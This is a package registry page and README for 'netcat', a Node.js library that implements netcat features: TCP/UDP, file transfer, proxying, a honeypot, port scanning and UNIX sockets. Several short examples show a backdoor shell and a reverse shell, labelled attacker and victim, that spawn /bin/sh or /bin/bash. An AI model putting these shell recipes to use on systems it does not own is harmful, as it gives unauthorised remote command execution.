# netcat
> Netcat client and server modules written in pure Javascript for Node.js
Latest version **1.5.2** (published 2026-07-27) · MIT license · 0 weekly downloads
## Install
```sh
npm install netcat
pnpm add netcat
yarn add netcat
bun add netcat
```
## Health
**Score 55/100 (C)** — status: active.
Positive: no vulnerabilities; recently updated; high maintenance score.
Warnings: low downloads; no types; no esm support.
## Facts
| | |
|---|---|
| Version | 1.5.2 |
| Published | 2026-07-27 |
| First published | 2017-05-07 |
| Weekly downloads | 0 |
| License | MIT |
| TypeScript types | none |
| Module format | CommonJS |
| Node | >=22.0.0 |
| Dependencies | 6 |
| Unpacked size | 236 KB |
| Known vulnerabilities | 0 |
| Install scripts | no |
| GitHub stars | 437 |
| Author | Rocco Musolino |
| Maintainers | roccomuso |
| Keywords | netcat, nc, net, shell, js, node, tcp, udp, server, swissarmyknife |
## Links
- npm: https://www.npmjs.com/package/netcat
- Repository: https://github.com/roccomuso/netcat
- Homepage: https://github.com/roccomuso/netcat#readme
- Issues: https://github.com/roccomuso/netcat/issues
- npm.io page: https://npm.io/package/netcat
## Dependencies (6)
- [debug](https://npm.io/package/debug.md) ^4.0.1
- [hexer](https://npm.io/package/hexer.md) ^1.5.0
- [nanoid](https://npm.io/package/nanoid.md) ^3.3.8
- [through2](https://npm.io/package/through2.md) ^3.0.0
- [datagram-stream](https://npm.io/package/datagram-stream.md) ^1.1.1
- [async-each-series](https://npm.io/package/async-each-series.md) ^1.1.0
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- [turbo-stream](https://npm.io/package/turbo-stream.md) — 1.7M weekly downloads
## Recent versions
- 1.5.2 (latest) — 2026-07-27
- 1.5.1 — 2026-07-27
- 1.5.0 — 2020-03-11
- 1.4.0 — 2018-11-09
- 1.3.6 — 2018-11-09
- 1.3.5 — 2018-05-15
- 1.3.4 — 2018-05-15
- 1.3.3 — 2018-01-21
- 1.3.2 — 2017-09-30
- 1.3.1 — 2017-07-29
- 1.3.0 — 2017-07-27
- 1.2.8 — 2017-06-27
- 1.2.7 — 2017-06-23
- 1.2.6 — 2017-06-23
- 1.2.5 — 2017-06-19
- … 7 more at https://npm.io/package/netcat/versions
## README
# netcat
[](https://www.npmjs.com/package/netcat)
[](https://david-dm.org/roccomuso/netcat)
[](https://standardjs.com)
> Netcat client and server modules written in pure JavaScript for Node.js.
Fully tested modules that implement the basic netcat features. To use this as a standalone tool, install the [nc](https://github.com/roccomuso/nc) package.
| Linux/Mac | Windows |
|-----------|---------|
| [](https://travis-ci.org/roccomuso/netcat) | [](https://ci.appveyor.com/project/roccomuso/netcat) |
## What you can do :computer:
- [x] TCP & UDP
- [x] Backdoor (Reverse Shell)
- [x] Honeypot
- [x] File transfer
- [x] Port forwarding
- [x] Proxy
- [x] Web Server
- [x] Port scanning
## Enhancements
- [x] [Filter](#filter-incoming-data) incoming data.
- [ ] Crypto.
- [ ] Authentication (`.auth('pass')`).
- [ ] `allow` and `deny` specific remote IP addresses.
## Install
$ yarn add netcat
[](https://nodei.co/npm/netcat/)
## Usage
```javascript
const NetcatServer = require('netcat/server')
const NetcatClient = require('netcat/client')
const nc = new NetcatServer()
const nc2 = new NetcatClient()
```
## Examples
This module's API follows the original netcat CLI parameters as closely as possible.
For instance: `nc -l -p 2389` is equivalent to `nc.port(2389).listen()`. Easy right?
#### Server and client connection
| Server | Client |
|------------------------|------------------------------------|
|`nc.port(2389).listen()`|`nc2.addr('127.0.0.1').port(2389).connect()`|
#### Transfer a file
| Server | Client |
|---------------------|------------------------------------|
|`nc.port(2389).listen().pipe(outputStream)`|`inputStream.pipe(nc2.port(2389).connect().stream())`|
Or vice versa, you can do the equivalent of `nc -l -p 2389 < filename.txt`. When someone connects to port `2389`, the file is sent to them:
| Server | Client |
|---------------------|------------------------------------|
|`nc.port(2389).serve('filename.txt').listen()`|`nc2.port(2389).connect().pipe(outputStream)`|
#### Keepalive connections
| Server | Client |
|---------------------|------------------------------------|
|`nc.port(2389).k().listen()`|`inputStream.pipe(nc2.port(2389).connect().stream())`|
The server will stay alive and will not close after the first connection. (`k()` is an alias for `keepalive()`.)
#### Serve raw buffer
| Server | Client |
|---------------------|------------------------------------|
|`nc.port(2389).listen().serve(Buffer.from('Hello World'))`|`nc2.port(2389).connect().on('data', console.log)`|
#### Backdoor shell
| Server | Client |
|---------------------|------------------------------------|
|`nc.port(2389).listen().exec('/bin/bash')`|`process.stdin.pipe(nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream())`|
The `exec()` method executes the given command and pipes its `stdout` and `stderr` to the client socket.
#### Reverse shell
| Attacker | Victim |
|---------------------|------------------------------------|
|`nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout)`|`nc2.addr('127.0.0.1').port(2389).retry(5000).connect().exec('/bin/sh')`|
- [x] Upgradeable to Meterpreter!
#### Netcat as a proxy
Netcat can be configured as a proxy server:
```javascript
const nc = new NetcatServer()
const nc2 = new NetcatClient()
nc2.addr('google.com').port(80).connect()
nc.port(8080).k().listen().proxy(nc2.stream())
```
All traffic flowing through `localhost:8080` will be redirected to `google.com:80`.
Similarly, you can set up port forwarding by using the same host.
#### Honeypot
Pretend to be an Apache server:
```javascript
const apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
const nc = new NetcatServer()
const logFile = fs.createWriteStream('log.txt')
nc.port(80).k().listen().serve(Buffer.from(apache)).pipe(logFile)
```
#### Port scanning
The netcat client also provides basic port scan functionality.
```javascript
const nc = new NetcatClient()
nc.addr('127.0.0.1').scan('22-80', function (ports) {
// ports: { '22': 'open', '23': 'closed' ... }
})
```
The port scanner is TCP-only. UDP scanning is not [very effective](https://en.wikipedia.org/wiki/Port_scanner#UDP_scanning). `scan(...)` also accepts an array or an integer.
#### Filter incoming data
```javascript
const nc = new NetcatServer()
nc.addr('127.0.0.1').port(8080).filter(function (chunk, enc, cb) {
// transform upper case
const out = chunk.toString().toUpperCase()
this.push(Buffer.from(out))
cb(null)
}).pipe(process.stdout).listen()
```
#### Connect to a UNIX socket file
Both the Netcat server and client support UNIX socket connections.
Let's use a Netcat client instance to connect to the Docker UNIX socket file and retrieve the list of container images.
```javascript
nc2.unixSocket('/var/run/docker.sock').enc('utf8')
.on('data', function (res) {
console.log(res)
})
.connect()
.send('GET /images/json HTTP/1.0\r\n\r\n')
```
#### UDP listen for packets
```javascript
const nc = new NetcatServer()
nc.udp().port(2100).listen().on('data', function (rinfo, data) {
console.log('Got', data.toString(), 'from', rinfo.address, rinfo.port)
nc.close()
})
```
#### UDP send a packet
```javascript
const nc2 = new NetcatClient()
nc2.udp().port(2100).wait(1000).init().send('hello', '127.0.0.1')
```
Send the `hello` buffer to port `2100`, then close the client after `1000` ms.
## API
#### `port(int)` or `p(int)`
Netcat can bind to any local port, subject to privilege restrictions and ports that are already in use.
#### `address(host)` or `addr(host)`
- When used server-side: set the local address to listen to. `0.0.0.0` by default.
- When used client-side: set the remote address to connect to. `127.0.0.1` by default.
#### `listen()`
Make the UDP/TCP server listen on the previously set port.
#### `unixSocket(path)` - TCP only
Optionally, you can provide the path to a UNIX socket file and listen on it or connect to it.
#### `connect()` - TCP only
Client-side only. Let the client connect to the previously set address and port.
#### `retry(ms)` - TCP only
Client-side only. Retry connection every `ms` milliseconds when connection is lost.
#### `interval(ms)` or `i(ms)`
Client-side only. Specify a delay, in milliseconds, for sent data.
#### `waitTime(ms)` or `wait(ms)`
Set a timeout.
- A server will wait `ms` milliseconds from the first data event and close the connection if it does not receive more data.
- A client will wait `ms` milliseconds from the first sent data and close if there is no more data to send.
#### `stream()`
Return the client duplex stream reference.
#### `pipe(outStream)`
Pipe incoming data from the client to the given `outStream`.
#### `filter(transformFn)`
Filter incoming data with the given transform function, `function (chunk, enc, cb) { ... }`, before it is piped out.
**Note**: The `.on('data', cb)` data you get is not filtered. The filter only applies on the piped `.pipe(...)` stream.
**Known issue**: `through2` currently [doesn't respect](https://github.com/roccomuso/netcat/issues/4) the encoding. If you set a filter, you will get a Buffer and the `enc()` method will not be useful.
#### `serve()`
Server-side method.
The `serve` method accepts a string (indicating a file name, make sure the file exists), a readable stream, or a Buffer.
When you pass a readable stream with TCP keepalive enabled, the stream's data is cached as it is read so later clients can receive the same data.
When serving a file or a Buffer to a socket, the pipe will emit an `end` (EOF) event to the socket and close the stream.
#### `send(data [, cb|host])`
Client-side:
- in TCP: send data to the connected server. `cb` is called once the data has been sent.
- in UDP: send data to the destination address, or to the given host if provided.
Server-side:
- in TCP: not available; use `serve()` instead.
- in UDP: send data to the destination address, or to the given host if provided.
#### `end(data)` - TCP only
Client-side method. Send the given data and close the connection.
#### `close([cb])`
Close the connection, or all connections when called server-side, and call `cb` once the socket is closed.
#### `enc()`
Set an encoding. The most common ones are: `utf8`, `ascii`, `base64`, `hex`, and `binary`.
#### `protocol(prot)`
Set a custom protocol. The use of this method is discouraged. Use the methods `tcp()` and `udp()` instead. `tcp` is the default value.
#### `keepalive()` or `k()` - TCP only
Server-side method.
When you enable keepalive, the server will stay up and the `outStream` given to `pipe(outStream)` may be kept open.
By default, a UDP listener stays alive until an explicit `nc.close()`.
#### `exec()` - TCP only
The `exec()` method executes the given command and pipes its `stdout` and `stderr` to the client socket. It accepts an optional array of args as the second parameter and [spawn options](https://nodejs.org/api/child_process.html#child_process_child_process_spawn_command_args_options) as the third parameter. If a pipe character (`|`) is found, the command is processed with `sh -c` on Unix-like systems or `cmd.exe /C` on Windows.
Example:
```javascript
nc.p(2389).exec('base64', ['-d']).listen()
// OR
nc.p(2389).exec('base64 | grep hello').listen()
```
#### `getClients()` - TCP only
Server-side method. Return an object listing all client socket references.
#### `proxy(duplexStream)` - TCP only
Server-side method. This method pipes the server's incoming and outgoing data to the provided `duplexStream`. It is a shortcut for both `.serve(duplexStream)` and `.pipe(duplexStream)`.
#### `output(outStream)` or `out(outStream)`
Write a hex dump of incoming or outgoing traffic to the given writable stream, `outStream`.
A row represents a chunk of at least 16 bytes by default.
The first character can be either `<` or `>`, meaning "incoming chunk" or "outgoing chunk", respectively.
#### `scan(portsInterval, cb)` - TCP only
The netcat client also provides basic port scan functionality.
The first parameter is mandatory and specifies the port or ports to scan.
It can be a single integer, a string interval (like `22-80`), or an array of integers (`[22, 23, 1880]`).
If provided, the callback receives an object like `{ '22': 'open', '23': 'closed' ... }`.
#### `init()` - UDP only
The UDP equivalent of `connect()`. This is for UDP clients only.
#### `bind()` - UDP only
Let the UDP client/server listen on the given port. It will also be used as the outgoing port if `.port()` was not called.
#### `broadcast()` or `b()` - UDP only
Enable broadcast for the UDP server. You can optionally specify a destination address.
#### `destination()` - UDP only
Set a destination address. (`127.0.0.1` is the default value.)
#### `loopback()` - UDP only
Enable loopback. For instance, when a UDP server is bound to a port and sends a message to that port, it will receive the message back if loopback is enabled.
## Events
The netcat modules extend the `EventEmitter` class. You can catch some events straight from the sockets. For example, the server `data` event:
| Server | Client |
|---------------------|------------------------------------|
|`nc.port(2389).listen().on('data', onData)`|`inputStream.pipe(nc2.port(2389).connect().stream())`|
```javascript
function onData (socket, chunk) {
console.log(socket.id, 'got', chunk) // Buffer <...>
socket.write('hello client') // reply to the client
}
```
### Server events
- `.on('data', function (sockOrRinfo, msg) {})`
Emitted when the server receives data from clients.
- `.on('ready', cb)`
Emitted when the server successfully listens on or binds to a port.
- `.on('close', cb)`
Emitted when the server closes.
- `.on('clientClose', function (socket, hadError) {})` - **TCP only**
Called when a client disconnects from the server.
The callback receives the disconnected `socket` instance as the first parameter and a Boolean `hadError` value as the second parameter.
- `.on('connection', function (socket) {})` - **TCP only**
Emitted when a new client connects to the server.
- `.on('end', function (socket) {})` - **TCP only**
Emitted when a client ends the connection.
- `.on('timeout', function (socket) {})` - **TCP only**
Socket timeout event.
- `.on('waitTimeout', cb)`
Fired when the server remains inactive for a specified `wait(ms)` time.
- `.on('error', function (err) {})`
Emitted on error.
### Client events
- `.on('data', function (msg) {})`
Emitted when data is received from the server.
- `.on('close', cb)`
Emitted when the client closes.
- `.on('waitTimeout', cb)`
Fired when the client remains inactive for a specified `wait(ms)` time.
- `.on('connect', cb)` - **TCP only**
Emitted when the client establishes a connection with a server.
- `.on('error', function (err) {})`
Emitted on error.
## CLI usage
For standalone usage, install the [nc](https://github.com/roccomuso/nc) CLI package:
$ npm install -g nc
Example:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
Available options:
- [x] `-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]`
- [x] `-e filename program to exec after connect [dangerous!!]`
- [x] `-b allow broadcasts`
- [x] `-i secs delay interval for lines sent, ports scanned (client-side)`
- [x] `-h show help`
- [x] `-k set keepalive option on socket`
- [x] `-l listen mode, for inbound connects`
- [ ] `-n numeric-only IP addresses, no DNS`
- [x] `-o file hex dump of traffic`
- [x] `-p port local port number`
- [ ] `-r randomize local and remote ports`
- [ ] `-q secs quit after EOF on stdin and delay of secs`
- [x] `-s addr local source address`
- [x] `-u UDP mode`
- [x] `-U Listen or connect to a UNIX domain socket`
- [x] `-v verbose`
- [x] `-w secs timeout for connects and final net reads`
- [x] `-z zero-I/O mode [used for scanning]`
## DEBUG
Debug output matches verbose mode.
You can enable it with the `verbose: true` parameter or the `DEBUG=netcat:*` environment variable.
## Tests
Run them with: `yarn test`
Coverage:
- [x] Test the `.serve(input)` method
- [x] Test the keepalive connection with `.pipe()` and `serve()`.
- [x] `serve()` accepts a string, stream, or Buffer.
- [x] `exec()` method
- [x] Backdoor shell
- [x] Proxy server
- [x] UDP.
## Author
Rocco Musolino ([@roccomuso](https://twitter.com/roccomuso))
## License
MIT
---
_Source: https://npm.io/package/netcat · Machine-readable twin of the npm.io package page. Health data is recomputed on every publish._